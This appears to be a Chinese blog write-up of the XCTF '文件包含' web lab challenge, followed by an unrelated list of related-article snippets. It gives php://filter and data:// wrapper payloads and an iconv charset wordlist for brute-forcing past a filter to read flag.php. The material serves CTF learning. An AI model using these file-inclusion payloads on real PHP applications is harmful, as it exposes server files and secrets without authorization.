109，【1】攻防世界 web 题目名称-文件包含
进入靶场
直接显示源代码
提示我们通过get方式传递名为filename的参数，同时给出了文件名check.php
filename=check.php
显示使用了正确的用法，错误的方法
filename=./check.php
还是一样的回显
傻了，题目名称是文件包含，需要用到函数
文件包含漏洞-CSDN博客
先试试最常用到的这个
php://filter/read=convert.base64-encode/resource=flag.php
被过滤了
换一个伪协议
data://text/plain,123456
话是这么说，但没显示123456说明data协议不行
间接提示了php伪协议换个过滤器说不定可以
php://filter/read=convert.base64-encode/resource=flag.php
之前用的是上面这个，一个个尝试看看被过滤的是哪些
read和base编码被禁了
不使用read的话还有string开头的过滤器
string也被过滤了
试试下面这个
php://filter/convert.iconv.utf-8/gbk/resource=flag.php
作用是将文本从 UTF - 8 编码转换为 GBK 编码
这个编码转换不行，但有很多编码供我们尝试
使用bp去爆破
字典如下
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
发现有两种组合都能得到flag
相关文章：
109，【1】攻防世界 web 题目名称-文件包含
进入靶场 直接显示源代码 提示我们通过get方式传递名为filename的参数，同时给出了文件名check.php filenamecheck.php 显示使用了正确的用法，错误的方法 filename./check.php 还是一样的回显 傻了，题目名称是文件包含，需要用到…...
leetcode90 子集II
1. 题意 给一个可能含有重复元素的数组，求这个数组的所有子集。 2. 题解 跟leetcode 72 子集的差别在于，我们需要将重复的元素给去掉。那如何去重呢，实际上我们可以先排序将重复的元素给放在一起。然后在回溯后，找到下一个不与…...
DeepSeek模型构建与训练
在完成数据预处理之后，下一步就是构建和训练深度学习模型。DeepSeek提供了简洁而强大的API，使得模型构建和训练变得非常直观。无论是简单的全连接网络，还是复杂的卷积神经网络（CNN）或循环神经网络（RNN），DeepSeek都能轻松应对。本文将带你一步步构建一个深度学习模型，并…...
PyTorch torch.unbind、torch.split 和 torch.chunk函数介绍
pytorch中 torch.unbind、torch.split 和 torch.chunk等函数可用于张量的拆分操作。 1. torch.unbind 功能说明： torch.unbind 沿指定的维度将张量“解包”为多个张量，返回一个元组。解包后被操作的那个维度会消失，每个输出张量的维度数会比…...
【愚公系列】《循序渐进Vue.js 3.x前端开发实践》061-Vue Router的动态路由
标题详情作者简介愚公搬代码头衔华为云特约编辑，华为云云享专家，华为开发者专家，华为产品云测专家，CSDN博客专家，CSDN商业化专家，阿里云专家博主，阿里云签约作者，腾讯云优秀博主&…...
杭州某小厂面试
问的都是基础知识，主要是三个部分：计网，数据库，java。计网答得挺好，数据答得一般，Java答得一坨。 目录 1.TCP/IP协议的5层模型 2.3次握手和4次挥手 3.操作系统中的进程和线程的区别 4.lunix top 命令看…...
C基础寒假练习(8)
一、终端输入10个学生成绩，使用冒泡排序对学生成绩从低到高排序 #include <stdio.h> int main(int argc, const char *argv[]) {int arr[10]; // 定义一个长度为10的整型数组，用于存储学生成绩int len sizeof(arr) / sizeof(arr[0]); // 计算数组…...
设计模式 -＞模板方法模式（Template Method Pattern）
模板方法模式 模板方法模式是一种行为设计模式，它在一个方法中定义一个操作的算法骨架，而将一些步骤延迟到子类中实现。它允许子类在不改变算法结构的情况下重新定义算法中的某些步骤 特点 算法骨架： 在基类中定义算法的框架延迟实现&…...
Redis存储⑤Redis五大数据类型之 List 和 Set。
目录 1. List 列表 1.1 List 列表常见命令 1.2 阻塞版本命令 1.3 List命令总结和内部编码 1.4 List典型使用场景 1.4.1 消息队列 1.4.2 分频道的消息队列 1.4.3 微博 Timeline 2. Set 集合 2.1 Set 集合常见命令 2.2 Set 集合间命令 2.3 Set命令小结和内部编码 2.…...
MySQL开窗函数种类和使用总结
在 MySQL 中，开窗函数（Window Functions） 是一种强大的功能，能够在数据分析和聚合时提供灵活的方式。开窗函数在 MySQL 8.0 及以上版本 中引入，可以基于数据的某个分组（窗口）来执行计算…...
DeepSeek——DeepSeek模型部署实战
摘要 文章主要介绍了DeepSeek大模型的本地部署方法、使用方式以及API接入相关内容。首先指出可通过下载Ollama来部署DeepSeek-R1模型，并给出了模型不同参数版本及存储信息。接着说明了如何通过Chatbox官网下载并接入DeepSeek API，以及如何接入本地部署模…...
zsh: command not found: pip
当你在终端输入 pip install ipykernel 时出现 zsh: command not found: pip 错误，这表明系统无法找到 pip 命令，下面为你详细分析可能的原因以及对应的解决办法。 可能的原因 Python 未安装：pip 是 Python 的包管理工具，若你的…...
机器学习数学基础：16.方程组
一、方程组基础概念 （一）定义 方程组是由若干个包含未知数的方程组合而成的集合。例如， { 3 x 2 y − z 7 2 x − y 3 z 5 x 4 y − 2 z 3 \begin{cases}3x 2y - z 7\\2x - y 3z 5\\x 4y - 2z 3\end{cases} ⎩ ⎨ ⎧3x2y−z7…...
即梦（Dreamina）技术浅析（四）：生成对抗网络
即梦（Dreamina） 的生成对抗网络（GAN，Generative Adversarial Network）技术是其核心功能之一，用于生成高质量的图像、文本和视频内容。GAN 是一种深度学习模型，由生成器（Generator）和判别器（Discriminator）两部分组成，通过对抗训练的方式不断提升生成内容的质量。 …...
2025年软件测试五大趋势：AI、API安全、云测试等前沿实践
随着软件开发的不断进步，测试方法也在演变。企业需要紧跟新兴趋势，以提升软件质量、提高测试效率，并确保安全性，在竞争激烈的技术环境中保持领先地位。本文将深入探讨2025年最值得关注的五大软件测试趋势。 Parasoft下载https://…...
Vue混入（Mixins）与插件开发深度解析
Vue混入（Mixins）与插件开发深度解析 Vue混入（Mixins）与插件开发深度解析1. Vue混入（Mixins）核心概念1.1 什么是混入1.1.1 本质定义与技术定位1.1.2 混入与相关概念的对比1.1.3 适用场景分析1.1.4 设计哲学与…...
【C++】C++11
目录 C11简介 统一的列表初始化 {}初始化 std::initializer_list 声明 auto decltype nullptr 范围for循环 智能指针 STL中的一些变化 右值引用和移动语义 左值引用和右值引用 右值引用的意义 完美转发 lambda表达式 新的类功能 可变参数模版 包装器 func…...
k8sollama部署deepseek-R1模型,内网无坑
这是目录 linux下载ollama模型文件下载到本地，打包迁移到k8s等无网络环境使用下载打包ollama镜像非k8s环境使用k8s部署访问方式非ollama运行deepseek模型linux下载ollama 下载后可存放其他服务器 curl -L https://ollama.com/download/ollama-linux-amd64.tgz -o ollama-linu…...
mysql8 C++源码中创建表函数，表字段最大数量限制，表行最大存储限制
在 MySQL 8 的 C 源码中，表的最大字段数量限制体现在 MAX_FIELDS 宏定义中。这个宏定义了表中可以拥有的最大字段数量。 代码中的体现 在 mysql_prepare_create_table 函数中，有以下代码段检查表的字段数量是否超过最大限制： cpp if (alt…...
胜任力冰山模型：深入探索职业能力的多维结构
目录 1、序言 2、什么是胜任力？ 3、任职资格和胜任力的区别 4、胜任力冰山模型：职场能力的多维展现 4.1、冰山水面上的部分 4.2、冰山水面下的部分 4.3、深层的个人特质与价值观 5、如何平衡任职资格与胜任能力 6、结语 1、序言 在快速发展的I…...
Arm MPS3 FPGA开发板LED闪烁控制实战
1. 项目概述在嵌入式系统开发领域，FPGA（现场可编程门阵列）因其可重构特性成为硬件原型设计的首选平台。Arm MPS3 FPGA开发板作为一款功能强大的原型验证工具，为开发者提供了从算法验证到系统集成的完整解决方案。本次我们将通过经…...
Figma中文汉化插件完整指南：3分钟让Figma界面说中文的终极方案
Figma中文汉化插件完整指南：3分钟让Figma界面说中文的终极方案 【免费下载链接】figmaCN 中文 Figma 插件，设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 还在为Figma的英文界面而烦恼吗？对于中文设计师来…...
Mastra AI编排框架：构建生产级智能工作流的完整指南
1. 项目概述：一个面向开发者的AI应用编排框架最近在折腾AI应用开发的朋友，估计都绕不开一个核心痛点：如何把不同的AI模型、工具和数据源高效地串联起来，形成一个稳定、可维护的智能工作流。无论是想做个智能客服，还是搞…...
如何利用QGIS 3.22为机器学习任务高效构建遥感影像切片数据集
1. 为什么需要QGIS处理遥感影像数据 做机器学习项目时，最头疼的就是数据准备环节。特别是处理遥感影像这种"庞然大物"，动辄几个GB的高分辨率图像，直接用Python脚本处理不仅效率低，还容易内存溢出。去年我做城市绿地识别…...
利川避暑民宿舒适化运营：客流增长策略深度解析
利川避暑民宿舒适化运营：客流增长策略深度解析行业痛点与解决方案避暑民宿行业普遍面临“舒适体验与运营效率平衡难、季节性客流波动大”的核心挑战，如何在保障游客体验的同时实现可持续客流增长，是多数从业者的共同课题。利川关东度假村民宿…...
Sealos云操作系统：基于Kubernetes内核的桌面化云原生平台实践
1. 项目概述：从“集群”到“桌面”的云原生新范式如果你和我一样，长期在云原生领域摸爬滚打，那么对“Kubernetes集群”的部署和管理一定不会陌生。从早期的kubeadm手动搭建，到后来各种发行版和托管服务，我们一直在追求…...
紫光Pango EDA工具链实战：从License申请到Synplify避坑，一个FPGA工程师的踩坑笔记
紫光Pango EDA工具链实战：从License申请到Synplify避坑指南 第一次接触紫光Pango工具链时，我像大多数FPGA工程师一样，以为这不过是又一个需要熟悉的开发环境。直到在项目deadline前三天，Synplify突然报出"exit code 4"错…...
明日方舟游戏资源库：2000+高清素材的完整获取与应用指南
明日方舟游戏资源库：2000高清素材的完整获取与应用指南 【免费下载链接】ArknightsGameResource 明日方舟客户端素材 项目地址: https://gitcode.com/gh_mirrors/ar/ArknightsGameResource 还在为寻找高质量的明日方舟游戏素材而烦恼吗？无论是创作…...
如何提升SQL存储过程逻辑复用_封装通用存储过程函数
SQL Server无函数式存储过程，需用标量函数（单值计算）或表值函数（结果集）替代；标量函数禁用DML和非确定性函数，ITVF性能优于MSTVF；MySQL函数须声明DETERMINISTIC等属性；跨…...
【工业视觉】基于序列图像动态特征提取的熔炼结晶过程建模与量化分析
1. 工业视觉在熔炼结晶过程中的核心价值 我第一次接触工业视觉在熔炼结晶中的应用是在2018年一个铜冶炼项目。当时工厂老师傅们还在用肉眼观察结晶状态，不仅效率低下，而且不同操作员的判断标准差异能达到15%。这种主观性带来的工艺波动直接影响了产品质量…...